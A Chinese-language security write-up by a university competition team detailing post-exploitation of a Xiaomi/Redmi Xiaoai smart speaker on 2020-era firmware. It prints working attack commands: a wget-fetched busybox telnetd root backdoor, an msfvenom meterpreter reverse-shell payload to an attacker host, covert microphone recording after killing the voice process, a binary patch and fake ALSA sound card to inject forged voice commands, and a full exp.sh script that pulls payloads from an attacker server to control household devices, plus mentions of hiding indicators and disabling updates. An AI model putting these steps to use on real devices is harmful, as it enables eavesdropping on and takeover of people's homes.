2020年11月,淼哥、老徐、我,仨人代表清华校队Redbud参加补天杯,项目为现场破解小米小爱音箱Pro。预期效果为在内网环境下,通过对音箱的破解,接管目标家庭的所有米家智能家居,包括:扫地机器人,窗帘,电饭锅,台灯以及电风扇。但由于小米安全人员(李海粟、曾颖涛)进行现场干扰,导致比赛现场的小米小爱音箱启动并联网后,就直接被小米后台远程重置,也就无法进入正常的业务逻辑,最后判定漏洞演示失败。本篇将以Redmi小爱音箱Play(2020年左右软件版本的1.60.10)为例,公开我们当时完成的播放音乐、录音窃听、家居控制等后渗透利用的具体方法,虽然过后看起来难度不大,但也是我们仨经过曲折探索才找到的一条可行路径。
整体情况
小米小爱音箱全系列的技术方案类似,在软件版本上也基本保持同步,所以在软件上的后渗透利用方法也大体上强相关于软件版本,弱相关于硬件设备。本次公开的利用方法在2020年左右的软件版本(1.60.10、1.66.7等)上测试完成,目前新版本(1.80.xx及以上)不保证有效。同样,对于软件方案的整体情况说明也仅针对于老版本。先通过任意漏洞拿到shell,有的设备自带telnetd,如果没有可以自行下载完整busybox并开启telnetd:
cmd = "/usr/bin/wget --no-check-certificate https://busybox.net/downloads/binaries/1.21.1/busybox-armv7l "
cmd += "-O /data/busybox;"
cmd += "chmod +x /data/busybox;"
cmd += "/data/busybox telnetd -p 23 -l /bin/sh &"
系统信息
全志SoC,ARMv7小端:
/ # cat /proc/cpuinfo
processor : 0
model name : ARMv7 Processor rev 5 (v7l)
BogoMIPS : 57.14
Features : half thumb fastmult vfp edsp neon vfpv3 tls vfpv4 idiva idivt vfpd32 lpae
CPU implementer : 0x41
CPU architecture: 7
CPU variant : 0x0
CPU part : 0xc07
CPU revision : 5
processor : 1
model name : ARMv7 Processor rev 5 (v7l)
BogoMIPS : 57.14
Features : half thumb fastmult vfp edsp neon vfpv3 tls vfpv4 idiva idivt vfpd32 lpae
CPU implementer : 0x41
CPU architecture: 7
CPU variant : 0x0
CPU part : 0xc07
CPU revision : 5
Hardware : sun8iw18
Revision : 0000
Serial : 0000000000000000
可以系统确定为魔改openwrt:
# cat /proc/version
Linux version 4.9.118 (gcc version 6.4.1) #1 SMP Sun Jan 19 10:57:28 UTC 2020
# opkg
opkg must have one sub-command argument
usage: opkg [options...] sub-command [arguments...]
where sub-command is one of:
文件系统
通过mount信息可见,根文件系统是squashfs,因此不能通过文件系统本身直接进行持久化的修改:
# mount
/dev/root on / type squashfs (ro,noatime)
devtmpfs on /dev type devtmpfs (rw,relatime,size=29128k,nr_inodes=7282,mode=755)
proc on /proc type proc (rw,nosuid,nodev,noexec,noatime)
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,noatime)
tmpfs on /tmp type tmpfs (rw,nosuid,nodev,noatime)
tmpfs on /dev type tmpfs (rw,nosuid,relatime,size=512k,mode=755)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,mode=600,ptmxmode=000)
debugfs on /sys/kernel/debug type debugfs (rw,noatime)
pstore on /sys/fs/pstore type pstore (rw,relatime)
/dev/by-name/UDISK on /data type ext4 (rw,relatime,data=ordered)
/dev/by-name/UDISK on /etc/shadow type ext4 (rw,relatime,data=ordered)
允许持久化落地的文件夹只有/data目录, /etc/shadow其实也是由/data目录的一个文件单独挂载的,目的是可动态调整linux中root用户的密码:
/ # cd /etc/init.d/
/etc/init.d # grep -r "shadow" ./
./boot_check:if [ ! -f /data/console/shadow ]; then
./boot_check: cp /etc/shadow /data/console
./boot_check:mount --bind /data/console/shadow /etc/shadow
显然/data目录应该保存着各种配置信息,如wifi,蓝牙,用户账户,以及非常有价值,拿到可以直接控设备的miio的token:
/data # ls
ai-crontab console mdspeech_status mipns timer
alarm dnsmasq.time messagingagent player upnp-disc
bt etc mibrain sound wifi
busybox log miio status workday
/data # ls -al ./miio
drwxr-xr-x 2 root root 1024 Jun 19 12:02 .
drwxr-xr-x 18 root root 1024 Jun 19 13:19 ..
-rw-r--r-- 1 root root 17 Jan 19 2020 dtoken
-rw-r--r-- 1 root root 35 Jun 19 13:13 miio_sessionid
-rw-r--r-- 1 root root 11 Jun 19 13:13 miio_token
不过很遗憾,我并没有在/data目录下找到可以在系统启动过程中影响代码执行的文件,没找到类似自启动脚本什么的,所以无法将开启telnetd等后门的代码塞到开机启动的流程中。因此也就无法通过单次攻击,达到重启后的权限驻留。可能对flash上的squashfs固件进行修改是唯一的出路,不过我并没有尝试过。另外,可以使用meterpreter拉文件下来:
➜ msfvenom -p linux/armle/meterpreter/reverse_tcp LHOST=192.168.40.119 LPORT=6666 -f elf -o backdoor
业务进程
所有进程如下:
/ # ps
PID USER VSZ STAT COMMAND
1 root 1328 S /sbin/procd
2 root 0 SW [kthreadd]
3 root 0 SW [ksoftirqd/0]
4 root 0 SW [kworker/0:0]
5 root 0 SW< [kworker/0:0H]
6 root 0 SW [kworker/u4:0]
7 root 0 SW [rcu_sched]
8 root 0 SW [rcu_bh]
9 root 0 SW [migration/0]
10 root 0 SW< [lru-add-drain]
11 root 0 SW [cpuhp/0]
12 root 0 SW [cpuhp/1]
13 root 0 SW [migration/1]
14 root 0 SW [ksoftirqd/1]
15 root 0 SW [kworker/1:0]
16 root 0 SW< [kworker/1:0H]
17 root 0 SW [kdevtmpfs]
18 root 0 SW [kworker/u4:1]
165 root 0 SW [kworker/u4:2]
228 root 0 SW [oom_reaper]
229 root 0 SW< [writeback]
231 root 0 SW< [crypto]
232 root 0 SW< [bioset]
234 root 0 SW< [kblockd]
273 root 0 SW [kworker/0:1]
275 root 0 SW< [cfg80211]
319 root 0 SW [kswapd0]
320 root 0 SW< [vmstat]
451 root 0 SW< [bioset]
452 root 0 SW [nand]
453 root 0 SW [nftld]
465 root 0 SW [nand_rcd]
473 root 0 SW [kworker/1:1]
483 root 0 SW< [btfwwork]
484 root 0 SW [cfinteractive]
485 root 0 SW [autohotplug]
486 root 0 SW [irq/165-sunxi-m]
648 root 0 SW< [ipv6_addrconf]
666 root 0 SW< [kworker/1:1H]
668 root 0 SW< [kworker/0:1H]
860 root 972 S /sbin/ubusd
866 root 672 S /sbin/askfirst /bin/login
1249 root 0 SW< [krfcommd]
1330 root 1312 S /usr/sbin/dbus-daemon --system
1382 root 1412 S /sbin/netifd
1401 root 0 SW [jbd2/nand0p9-8]
1402 root 0 SW< [ext4-rsv-conver]
1409 root 2600 S< /usr/bin/quickplayer
1418 root 1040 S< /bin/ledserver
1460 root 1044 S /usr/sbin/crond -f -c /etc/crontabs -l 5
1478 root 4296 S {syslog-ng} supervising syslog-ng
1479 root 4348 S /usr/sbin/syslog-ng
1580 root 6444 S /usr/bin/xiaomi_dns_server
1621 root 0 SW [ksdioirqd/mmc0]
1640 root 0 SW [kworker/0:2]
1641 root 0 SW [RTW_XMIT_THREAD]
1642 root 0 SW [RTW_CMD_THREAD]
1643 root 0 SW [RTWHALXT]
1655 root 1724 S /usr/sbin/wpa_supplicant -Dnl80211 -iwlan0 -c/data/wifi/wpa_supplicant.conf -s
1678 root 1040 S udhcpc -f -S -s /bin/simple_dhcp.sh -R -t 0 -i wlan0 -x hostname:MiAiSoundbox-L07A
1699 root 704 S odhcp6c -s /lib/netifd/odhcp6c-script.sh -P0 -e -v wlan0
1702 root 1048 S {wireless_point.} /bin/sh /usr/bin/wireless_point.sh
2672 root 820 S rtk_hciattach -n -s 115200 ttyS1 rtk_h4
2724 nobody 872 S /usr/sbin/dnsmasq -C /var/etc/dnsmasq.conf -k -x /var/run/dnsmasq/dnsmasq.pid
2747 root 9744 S /usr/bin/upnp-disc
2763 root 1332 S /usr/bin/alarmd
2783 root 0 SW< [kworker/u5:0]
2784 root 0 SW< [hci0]
2785 root 0 SW< [hci0]
2788 root 0 SW< [kworker/u5:1]
2789 root 0 SW< [kworker/u5:2]
2807 root 3396 S /usr/bin/bluetoothd -n
2841 root 10072 S /usr/bin/mediaplayer
2851 root 7844 S /usr/bin/messagingagent --handler_threads 8
2860 root 1024 S /bin/wifitool
2869 root 5212 S /usr/bin/statpoints_daemon
2875 root 736 S /usr/sbin/wpa_cli -a/bin/wpa_action.sh
3116 root 1032 S /usr/bin/miio_client -L /dev/null
3117 root 1092 S {miio_client_hel} /bin/sh /usr/bin/miio_client_helper
3118 root 1236 S /usr/bin/miio_service
3388 root 5248 S /usr/bin/bluealsa -i hci0 -p a2dp-sink
3390 root 5936 S /usr/bin/bluez_mibt_classical
3391 root 2628 S /usr/bin/bluez_mibt_ble
3454 root 564 S /usr/bin/miio_recv_line
3551 mosquitt 844 S mosquitto -c /etc/mosquitto/mosquitto.conf
3573 root 18928 S< /usr/bin/mipns-horizon -c /usr/share/horizon/ -r opus32 -l
3582 root 960 S /bin/touchpad
3769 root 5636 S /usr/bin/mibrain_service
3801 root 1400 S /usr/bin/mico_ai_crontab
3842 root 1104 S /usr/bin/mico_kid_mode
3851 root 780 S /usr/bin/nano_httpd
3854 root 5760 S /usr/bin/bluealsa-aplay 00:00:00:00:00:00 -vv -i hci0 -d default --profile-a2dp
3873 root 3316 S /usr/bin/pns_ubus_helper
3906 root 3204 S /usr/bin/mibt_mesh_proxy
4711 root 1252 S /data/busybox telnetd -p 23 -l /bin/sh
4730 root 1040 S sleep 10s
4736 root 1040 S /bin/sh
4759 root 1040 R ps
其中比较关键的是这里的3573号mipns-xxx进程,他是处理语音交互的进程,我们喊的“小爱同学,你去死吧”,就由这个进程来处理。这个进程对应的二进制名字后面的xxx,比如这里的horizon应该表示具体的硬件型号,所以小米厂商的看到horizon应该就知道我这个示例是Redmi小爱音箱Play。
3573 root 18928 S< /usr/bin/mipns-horizon -c /usr/share/horizon/ -r opus32 -l
我们来看看这个进程的内存布局(省略部分堆):
- 从Pwn的防护角度上:是有NX,库有地址随机化
- 从整个业务的分析过程,以及最后的控制家居的利用的角度上:对此进程的动态链接库处理是重中之重!
/ # cat /proc/3573/maps
00010000-00019000 r-xp 00000000 5d:05 386 /usr/bin/mipns-horizon
00028000-00029000 r--p 00008000 5d:05 386 /usr/bin/mipns-horizon
00029000-00048000 rw-p 00009000 5d:05 386 /usr/bin/mipns-horizon
01c6e000-01df9000 rw-p 00000000 00:00 0 [heap]
...
...
b674c000-b694c000 rw-s 00000000 5d:09 45 /data/mibrain/mibrain_asr_nlp.rcd
b694c000-b6a43000 r-xp 00000000 5d:05 264 /lib/libstdc++.so.6.0.22
b6a43000-b6a48000 r--p 000e7000 5d:05 264 /lib/libstdc++.so.6.0.22
b6a48000-b6a4b000 rw-p 000ec000 5d:05 264 /lib/libstdc++.so.6.0.22
b6a4b000-b6a4d000 rw-p 00000000 00:00 0
b6a4d000-b6b55000 r-xp 00000000 5d:05 985 /usr/lib/libmibrainsdk.so
b6b55000-b6b6d000 rw-p 000f8000 5d:05 985 /usr/lib/libmibrainsdk.so
b6b6d000-b6b6f000 rw-p 00000000 00:00 0
b6b6f000-b6b80000 r-xp 00000000 5d:05 286 /lib/libblobmsg_json.so
b6b80000-b6b81000 r--p 00001000 5d:05 286 /lib/libblobmsg_json.so
b6b81000-b6b82000 rw-p 00002000 5d:05 286 /lib/libblobmsg_json.so
b6b82000-b6b9b000 r-xp 00000000 5d:05 281 /lib/libgcc_s.so.1
b6b9b000-b6b9c000 rw-p 00009000 5d:05 281 /lib/libgcc_s.so.1
b6b9c000-b6c22000 r-xp 00000000 5d:05 874 /usr/lib/libmdspeech.so
b6c22000-b6c24000 rw-p 00076000 5d:05 874 /usr/lib/libmdspeech.so
b6c24000-b6c25000 rw-p 00000000 00:00 0
b6c25000-b6c3e000 r-xp 00000000 5d:05 1335 /usr/lib/lib_oal_alpha.so
b6c3e000-b6c3f000 rw-p 00009000 5d:05 1335 /usr/lib/lib_oal_alpha.so
b6c3f000-b6da0000 r-xp 00000000 5d:05 872 /usr/lib/libvpm.so
b6da0000-b6daf000 rw-p 00151000 5d:05 872 /usr/lib/libvpm.so
b6daf000-b6dc9000 rw-p 00000000 00:00 0
b6dc9000-b6ddf000 r-xp 00000000 5d:05 875 /usr/lib/libjson-c.so.2.0.1
b6ddf000-b6de0000 r--p 00006000 5d:05 875 /usr/lib/libjson-c.so.2.0.1
b6de0000-b6de1000 rw-p 00007000 5d:05 875 /usr/lib/libjson-c.so.2.0.1
b6de1000-b6df5000 r-xp 00000000 5d:05 282 /lib/libubus.so
b6df5000-b6df6000 r--p 00004000 5d:05 282 /lib/libubus.so
b6df6000-b6df7000 rw-p 00005000 5d:05 282 /lib/libubus.so
b6df7000-b6e0e000 r-xp 00000000 5d:05 246 /lib/libubox.so
b6e0e000-b6e0f000 r--p 00007000 5d:05 246 /lib/libubox.so
b6e0f000-b6e10000 rw-p 00008000 5d:05 246 /lib/libubox.so
b6e10000-b6e22000 r-xp 00000000 5d:05 906 /usr/lib/libmibrain-common-util.so
b6e22000-b6e23000 rw-p 00002000 5d:05 906 /usr/lib/libmibrain-common-util.so
b6e23000-b6e4f000 r-xp 00000000 5d:05 897 /usr/lib/libmibrain-common-sdk.so
b6e4f000-b6e50000 rw-p 0001c000 5d:05 897 /usr/lib/libmibrain-common-sdk.so
b6e50000-b6e51000 rw-p 00000000 00:00 0
b6e51000-b6e70000 r-xp 00000000 5d:05 939 /usr/lib/libz.so.1.2.8
b6e70000-b6e71000 r--p 0000f000 5d:05 939 /usr/lib/libz.so.1.2.8
b6e71000-b6e72000 rw-p 00010000 5d:05 939 /usr/lib/libz.so.1.2.8
b6e72000-b6f26000 r-xp 00000000 5d:05 888 /usr/lib/libasound.so.2.0.0
b6f26000-b6f2b000 r--p 000a4000 5d:05 888 /usr/lib/libasound.so.2.0.0
b6f2b000-b6f2c000 rw-p 000a9000 5d:05 888 /usr/lib/libasound.so.2.0.0
b6f2c000-b6f91000 r-xp 00000000 5d:05 234 /lib/libc.so
b6fa0000-b6fa1000 r--s 00000000 00:0f 2173 /tmp/TZ
b6fa1000-b6fa2000 r--p 00065000 5d:05 234 /lib/libc.so
b6fa2000-b6fa3000 rw-p 00066000 5d:05 234 /lib/libc.so
b6fa3000-b6fa5000 rw-p 00000000 00:00 0
be976000-be997000 rw-p 00000000 00:00 0 [stack]
befd4000-befd5000 r-xp 00000000 00:00 0 [sigpage]
ffff0000-ffff1000 r-xp 00000000 00:00 0 [vectors]
进程通信
小米非常喜欢用ubus等消息总线实现进程间通信,因此在后续的利用过程中,由于ubus机制使得我们复现功能进行后渗透利用非常便捷:
使用ubus list查看所有注册的ubus服务:
# ubus list
ai_crontab
alarm
led
mediaplayer
messagingagent
mible
mibrain
mibt
mibt_mesh
miio
network
network.device
network.interface
network.wireless
nightmode
path_child_mode
pnshelper
qplayer
service
system
upnp-disc
wifitool
每个服务背后都对应着相应的进程,部分可以通过进程名对应出来:
/ # ps
1418 root 1040 S< /bin/ledserver
3099 root 10072 S /usr/bin/mediaplayer
3109 root 8028 S /usr/bin/messagingagent --handler_threads 8
3118 root 1024 S /bin/wifitool
3307 root 5936 S /usr/bin/bluez_mibt_classical
3308 root 2628 S /usr/bin/bluez_mibt_ble
3724 root 5636 S /usr/bin/mibrain_service
3742 root 1400 S /usr/bin/mico_ai_crontab
3907 root 9744 S /usr/bin/upnp-disc
3923 root 1332 S /usr/bin/alarmd
4037 root 1032 S /usr/bin/miio_client -L /dev/null
4038 root 1092 S {miio_client_hel} /bin/sh /usr/bin/miio_client_helper
4039 root 1236 S /usr/bin/miio_service
4272 root 564 S /usr/bin/miio_recv_line
ubus服务名与进程名不是必须对应的,其本质是进程使用了libubus.so:
/ # ps | grep mediaplayer
3099 root 10072 S /usr/bin/mediaplayer
/ # cat /proc/3099/maps
00010000-0005c000 r-xp 00000000 5d:05 394 /usr/bin/mediaplayer
0006b000-0006c000 r--p 0004b000 5d:05 394 /usr/bin/mediaplayer
0006c000-0006d000 rw-p 0004c000 5d:05 394 /usr/bin/mediaplayer
...
b6652000-b667b000 r-xp 00000000 5d:05 1337 /usr/lib/libnghttp2.so.14.13.2
b667b000-b667c000 r--p 00019000 5d:05 1337 /usr/lib/libnghttp2.so.14.13.2
b667c000-b667e000 rw-p 0001a000 5d:05 1337 /usr/lib/libnghttp2.so.14.13.2
b667e000-b66c5000 r-xp 00000000 5d:05 968 /usr/lib/libopus.so.0.5.3
b66c5000-b66c6000 r--p 00037000 5d:05 968 /usr/lib/libopus.so.0.5.3
b66c6000-b66c7000 rw-p 00038000 5d:05 968 /usr/lib/libopus.so.0.5.3
b66c7000-b66e6000 r-xp 00000000 5d:05 939 /usr/lib/libz.so.1.2.8
b66e6000-b66e7000 r--p 0000f000 5d:05 939 /usr/lib/libz.so.1.2.8
b66e7000-b66e8000 rw-p 00010000 5d:05 939 /usr/lib/libz.so.1.2.8
b66e8000-b6737000 r-xp 00000000 5d:05 984 /usr/lib/libssl.so.1.0.0
b6737000-b673a000 r--p 0003f000 5d:05 984 /usr/lib/libssl.so.1.0.0
b673a000-b673c000 rw-p 00042000 5d:05 984 /usr/lib/libssl.so.1.0.0
b673c000-b6755000 r-xp 00000000 5d:05 281 /lib/libgcc_s.so.1
b6755000-b6756000 rw-p 00009000 5d:05 281 /lib/libgcc_s.so.1
b6756000-b676a000 r-xp 00000000 5d:05 282 /lib/libubus.so
b676a000-b676b000 r--p 00004000 5d:05 282 /lib/libubus.so
b676b000-b676c000 rw-p 00005000 5d:05 282 /lib/libubus.so
声音系统
声音系统为ALSA(高级Linux声音架构):
- Advanced Linux Sound Architecture
- STM32 user guide: ALSA overview
- Linux ALSA声卡驱动之一:ALSA架构简介
- ALSA (高级Linux声音架构)、ASOC基础知识
对于后渗透利用,可以尽量忽略内核部分的处理,以下标红的目标为利用过程中需要关注的:
可以对每层实体进行单独理解,首先是用户态程序:
对用户态程序的调用分析:
ALSA内核用户态分界面主要是/dev/snd/下的设备文件:
/ # ls -al /dev/snd
drwxr-xr-x 2 root root 180 Jan 1 1970 .
drwxr-xr-x 6 root root 1960 Jan 19 2020 ..
crw-r--r-- 1 root root 116, 0 Jan 1 1970 controlC0
crw-r--r-- 1 root root 116, 32 Jan 1 1970 controlC1
crw-r--r-- 1 root root 116, 24 Jan 1 1970 pcmC0D0c
crw-r--r-- 1 root root 116, 16 Jan 1 1970 pcmC0D0p
crw-r--r-- 1 root root 116, 56 Jan 1 1970 pcmC1D0c
crw-r--r-- 1 root root 116, 48 Jan 1 1970 pcmC1D0p
crw-r--r-- 1 root root 116, 33 Jan 1 1970 timer
- snd的含义为sound
- controlC0用于声卡的控制,例如通道选择,混音,麦克风的控制等
- C0D0 代表的是声卡0 中的设备0,
- pcmC0D0c 最后一个c 代表capture,用于录音的pcm
- pcmC0D0p 最后一个p 代表 playback,用于播放的pcm
- 这些都是alsa-driver 中的命名规则
硬件部分:
- 写给纠结「声卡」和「解码器」的人
- 声卡硬件架构 ICH-HDA-CODEC
- ITOP4412开发板之声卡测试
- 4412 audio 分析
- WM8960 Audio HAT 用户手册
- Allwinner_V3s_Datasheet_V1.0.pdf
最终的扬声器和麦克风接口:
利用方法
关于IoT后渗透的简单介绍之前写过了:Getshell尾声:盗取与操控
当你拿到一个iot设备(嵌入式linux)的shell后,你怎么样去控制设备的这些外设,从而控制整个的设备的功能呢?这些设备的图形控制端是在手机app上,本设备上是一般没有图形控制界面的。所以要去逆向分析整个系统,找到关键的控制功能处,并想办法介入,修改 ,控制,或者伪造请求。
对于音箱的利用主要关注音频系统,整体的三种利用入口如图,可见虽然是最终控制硬件,不过我们可以介入的位置都是软件,而且还都是在用户态层次,不需要对内核层的音频系统有所处理:
播放音乐(使用扬声器)
使用aplay可以播放wav格式的音频:
# aplay /tmp/test.wav
在/bin/wakeup.sh可找到使用ubus播放音频的方法,可播放mp3:
# ubus -t 1 call mediaplayer player_play_url {\"url\":\"file:///tmp/test.mp3\",\"type\":1}
使用ubus调解音量:
# ubus -t 1 call mediaplayer player_set_volume {\"volume\":60}
录音窃听(使用麦克风)
可以使用aplay确认声卡个数,经过测试使用的声卡是第一个,即hw:0,0:
# aplay -l
**** List of PLAYBACK Hardware Devices ****
card 0: audiocodec [audiocodec], device 0: SUNXI-CODEC sun8iw18codec-0 []
Subdevices: 0/1
Subdevice #0: subdevice #0
card 1: snddaudio2 [snddaudio2], device 0: SUNXI-AUDIO snd-soc-dummy-dai-0 []
Subdevices: 1/1
Subdevice #0: subdevice #0
使用arecord,录音,需要参数如下:
参数选项 | 含义 | 本命令参数 |
---|---|---|
-D | 选择设备名称 | 使用声卡hw:0,0 |
-f | 录音格式 | cd(16_LE, 44100Hz) |
-t | 录音类型 | wav |
然后录音,发现提示资源忙,应该是声卡被占用:
# arecord -Dhw:0,0 -d 10 -f cd -t wav /tmp/test.wav
arecord: main:722: audio open error: Resource busy
分析是语音系统主进程mipns-horizon占用的:
3573 root 18928 S< /usr/bin/mipns-horizon -c /usr/share/horizon/ -r opus32 -l
可以使用一下两种方法杀掉这个进程:
# killall mipns-horizon
# ps | grep mipns | grep -v grep |awk '{print $1}' | xargs kill -9
然后即可正常录音,并可以使用aplay测试播放:
# killall mipns-horizon ; arecord -Dhw:0,0 -d 10 -f cd -t wav /tmp/test.wav
# aplay /tmp/test.wav
控制家居(劫持麦克风)
播放音乐和录音窃听都是直接使用对应功能的正常软件,这也是一个语音音箱最基本的功能。不过如今的智能语音音箱已然是家庭里的智能中控,一句小爱同学,便可操控全屋智能。因此从功能上来看,如果接管了音箱,也就应该可以接管目标家庭的所有智能家居。除了使用miio系列的token控制以外,有没有更加通用的办法?后来我们想到一种不仅通用,而且暴力、直接、朴素的方法:伪造控制语音,直接喂给接收麦克风音频的控制代码,进而控制智能家居,大概方法如下:
- 录制虚假的控制音频:fake_voice.raw,内容为“小爱同学,控制命令(打开台灯)”
- 构造虚假声卡:pcm.fake,并绑定fake_voice.raw为声卡输入
- 劫持业务进程的声卡绑定:二进制patch声卡接口从hw:0,0修改为fake
- 最终重启业务进程即可
确认声卡参数
伪造的控制音频不是随便录个mp3就行,而是需要根据设备本身声卡参数录制无封装格式的原始音频数据。原因也很显然,我们伪造的控制音频最终是直接喂给声卡的输入,从层次上就是在空中传递的声音并经过采样量化的数据,目前我打过的两个音箱的声卡采样参数如下:
设备 | 采样位数 | 采样率 | 通道数 |
---|---|---|---|
小米小爱音箱Pro | S16_LE | 48000 | 8 |
Redmi小爱音箱Play | S16_LE | 16000 | 3 |
对于这些参数的理解可以参考:
- (干货)Ai音箱和Linux音频驱动小谈
- ALSA子系统(十三)——snd_pcm_hw_refine硬件参数重定义
- TinyALSA
- ALSA音频底层调试工具tinypcminfo ,tinymix,tinyplay,tinycap的使用
寻找设备对应参数的过程我们走了一些弯路,最终发现一个通用且简单的办法即可获取到。即通过/proc/asound/文件系统下对应声卡目录下的hw_params文件可以获得对应参数:
# ls /proc/asound/
audiocodec cards pcm timers
card0 devices seq version
card1 oss snddaudio2
# ls /proc/asound/card0/
id oss_mixer pcm0c pcm0p
# cat /proc/asound/card0/pcm0c/sub0/hw_params
access: RW_INTERLEAVED
format: S16_LE
subformat: STD
channels: 3
rate: 16000 (16000/1)
period_size: 320
buffer_size: 2560
固定参数录音
然后即可使用对应参数录制伪造控制的原始音频,需要注意的是:
- 录制内容:小爱同学,控制命令(打开台灯)
- 录制声音:录制时需要声音大一些,之后测试播放才能听清
# killall mipns-horizon; arecord -Dhw:0,0 -d 8 -f S16_LE -r 16000 -c 3 -t raw /tmp/test.raw
对应参数如下:
选项 | 含义 | 本命令参数 |
---|---|---|
-D | 选择设备名称 | 使用声卡hw:0,0 |
-d | 录音时长 | 录音8秒 |
-f | 录音格式 | S16_LE |
-r | 采样率 | 16000是16KHz采样 |
-c | 声道数 | 3 |
-t | 录音类型 | raw |
然后可以播放测试刚才录制的音频:
# aplay -f S16_LE -r 16000 -c 3 -t raw /tmp/test.raw
构造虚假声卡
ASLA在配置文件中,允许file类型的声卡存在,可以使用infile参数设置喂给声卡的输入文件:
- Linux pipe audio file to microphone input
- asoundrc配置文件简单介绍
- asound.conf配置
- Alsa Library for transcoding
复制/etc/asound.conf,到可写目录中,添加如下虚假声卡:
pcm.fake {
type file
slave { pcm "hw:0,0"}
file /dev/null
infile /tmp/test.raw
}
由于/etc目录也为squashfs只读文件系统下的目录,所以无法直接覆盖,需要一些小技巧,如mount -o bind
,即可覆盖文件系统的路径为虚假的配置文件:
# mount -o bind /tmp/asound.conf /etc/asound.conf
覆盖后,既可以使用虚假的声卡进行录音测试,无论你对着音箱怎么叫喊,录制的结果都是我们喂进去的文件内容:
# killall mipns-horizon; arecord -Dfake -d 8 -f S16_LE -c 3 -r 16000 -t raw /tmp/test.raw2
# aplay -f S16_LE -c 3 -r 16000 /tmp/test.raw2
劫持声卡绑定
然后需要让音箱智能语音系统使用我们的名为fake的伪造声卡,经过逆向分析,调用声卡的代码在语音主进程mipns-xxx的一个动态链接库中,不同设备以及不同软件版本下的此动态库的名字可能不同,如以下:
设备 | 软件版本 | 主进程 | 替换库 |
---|---|---|---|
小米小爱音箱Pro | 1.66.7 | mipns-xiaomi | libxaudio_engine.so |
Redmi小爱音箱Play | 1.60.10 | mipns-horizon | libvpm.so |
确定库的方法为搜索绑定声卡的函数:snd_pcm_open,此函数实现在libasound.so.2中:
例如在Redmi小爱音箱Play中:
/ # grep -r "snd_pcm_open" /usr/lib
/usr/lib/libasound.so.2:snd_pcm_open
...
/usr/lib/libvpm.so:snd_pcm_open
/usr/lib/libxiaomimediaplayer.so:snd_pcm_open
libasound.so.2是alsa实现库,libxiaomimediaplayer.so主进程mipns-horizon没有使用,因此声卡绑定的逻辑在libvpm.so中。snd_pcm_open函数的第二个参数即为声卡名,一般为硬编码的字符串hw:?,?
,换掉即可。
图中以小米小爱音箱Pro的libxaudio_engine.so为例:
没使用Redmi为例的原因为,其libvpm_fake.so的snd_pcm_open函数的参数为变量传递过来,查看不直接
除了使用IDA、010editer进行patch以外,还可以直接使用dd进行替换,使用strings确定字符串偏移:
# cp /usr/lib/libvpm.so /tmp/libvpm_fake.so
# strings -t d /usr/lib/libvpm.so | grep hw:0
1226312 hw:0,0
# echo -n -e "fake\x00" | dd of=/tmp/libvpm_fake.so bs=1 count=5 seek=1226312 conv=notrunc
5+0 records in
5+0 records out
然后一样使用mount -o bind替换动态库:
# mount -o bind /tmp/libvpm_fake.so /usr/lib/libvpm.so
重启业务进程
伪造的声卡,伪造的音频,伪造的动态库都搞定后,kill业务进程即可,其会自动重启:
# killall mipns-horizon
完整利用
服务器(补天杯当时我们还特意使用了杭州阿里云以确保速度)准备文件:
- asound.conf
- libvpm_fake.so
- noise.mp3
- saodi_run.raw
- saodi_stop.raw
完整利用脚本exp.sh如下:
- play:把声音跳到最大播放自定义音频
- prepare:把声音调到最低,然后准备好虚假的动态库与声卡配置文件并挂载覆盖
- saodi_run:替换声卡配置文件中的输入文件为扫地机器人出动的音频,并重启业务进程
- saodi_run:替换声卡配置文件中的输入文件为扫地机器人回家的音频,并重启业务进程
server="192.168.40.119:8000"
if [ "$1" = "play" ]; then
wget -P /tmp http://${server}/noise.mp3
ubus -t 1 call mediaplayer player_set_volume {\"volume\":100}
ubus -t 1 call mediaplayer player_play_url {\"url\":\"file:///tmp/noise.mp3\",\"type\":1}
elif [ "$1" = "prepare" ]; then
ubus -t 1 call mediaplayer player_set_volume {\"volume\":0}
wget -P /tmp http://${server}/libvpm_fake.so
wget -P /tmp http://${server}/asound.conf
mount -o bind /tmp/asound.conf /etc/asound.conf
mount -o bind /tmp/libvpm_fake.so /usr/lib/libvpm.so
elif [ "$1" = "saodi_run" ]; then
rm /tmp/*.raw
wget -P /tmp http://${server}/saodi_run.raw
sed -i 's/infile.*/infile "\/tmp\/saodi_run.raw"/g' /tmp/asound.conf
umount /etc/asound.conf ; mount -o bind /tmp/asound.conf /etc/asound.conf
killall mipns-horizon
echo "[+] saodi_run"
elif [ "$1" = "saodi_stop" ]; then
rm /tmp/*.raw
wget -P /tmp wget http://${server}/saodi_stop.raw
sed -i 's/infile.*/infile "\/tmp\/saodi_stop.raw"/g' /tmp/asound.conf
umount /etc/asound.conf ; mount -o bind /tmp/asound.conf /etc/asound.conf
killall mipns-horizon
echo "[+] saodi_stop"
fi
使用如下:
/tmp # ./exp.sh play
/tmp # ./exp.sh prepare
/tmp # ./exp.sh saodi_run
/tmp # ./exp.sh saodi_stop
比赛时我们还实现了更完整,更隐蔽的利用,包括不限于:
- 让设备彻底静音
- 熄灭设备的提示灯
- 干掉设备的ota升级程序
小米罪证
时间线:
证据链: